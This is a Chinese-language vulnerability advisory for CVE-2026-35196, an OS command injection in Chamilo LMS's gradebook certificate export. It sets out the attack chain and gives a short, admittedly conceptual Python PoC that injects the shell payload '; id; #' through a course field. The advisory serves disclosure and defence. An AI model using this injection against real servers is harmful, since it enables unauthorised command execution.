IPBUF安全漏洞报告
English
CVE-2026-35196 CVSS 8.8 高危

CVE-2026-35196 Chamilo LMS OS命令注入漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-35196
漏洞类型
OS命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Chamilo LMS

相关标签

RCEOS Command InjectionChamilo LMSCVE-2026-35196

漏洞概述

Chamilo LMS 2.0.0-RC.3之前版本存在OS命令注入漏洞。由于`export_all_certificates`接口未对会话中的课程代码进行过滤,攻击者可通过操纵session数据注入Shell元字符,从而在服务器上执行任意系统命令。该漏洞可能导致敏感信息泄露、数据篡改或服务中断。

技术细节

该漏洞位于Chamilo LMS的`main/inc/ajax/gradebook.ajax.php`文件中,具体触发点为`export_all_certificates`动作。代码逻辑缺陷在于,系统通过`api_get_course_id()`函数从全局会话变量`$_SESSION['_cid']`获取课程代码,随后未经过任何安全过滤(如`escapeshellarg()`转义),直接将其拼接到`shell_exec()`函数的参数中执行系统命令。攻击者利用低权限账户登录后,若能通过某种方式操纵或污染Session数据中的`_cid`字段,注入分号、管道符等Shell元字符,即可在服务器端执行任意恶意指令。成功利用此漏洞可导致服务器被完全控制,攻击者可读取敏感文件、篡改数据库甚至造成服务拒绝,对业务安全构成严重威胁。

攻击链分析

STEP 1
侦察
识别目标是否使用Chamilo LMS,并确认版本低于2.0.0-RC.3。
STEP 2
会话投毒
攻击者使用低权限账户登录,寻找机会操纵Session数据,将恶意Shell命令注入到$_SESSION['_cid']变量中。
STEP 3
触发漏洞
向`main/inc/ajax/gradebook.ajax.php`发送请求,执行`export_all_certificates`动作,调用`shell_exec()`。
STEP 4
命令执行
服务器将未过滤的Session参数拼接到命令中执行,导致攻击者注入的恶意系统命令在服务器端运行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://target.com/main/inc/ajax/gradebook.ajax.php" # The vulnerability relies on poisoning the session variable $_SESSION['_cid']. # This is a conceptual PoC assuming the attacker can control the session. # 1. Authenticate and set malicious session data (simulated) session = requests.Session() login_payload = { "login": "attacker", "password": "password", # Assume a parameter that sets _cid in session exists or is derived "course": "; id; #" } session.post("http://target.com/login.php", data=login_payload) # 2. Trigger the vulnerable endpoint params = { "action": "export_all_certificates" } response = session.get(url, params=params) if response.status_code == 200: print("[+] Request sent, check if command executed.") else: print("[-] Failed to trigger")

影响范围

Chamilo LMS < 2.0.0-RC.3

防御指南

临时缓解措施
建议立即升级至官方修复版本。如暂时无法升级,应严格限制对`gradebook.ajax.php`接口的访问权限,并监控服务器日志中是否存在异常的系统命令调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表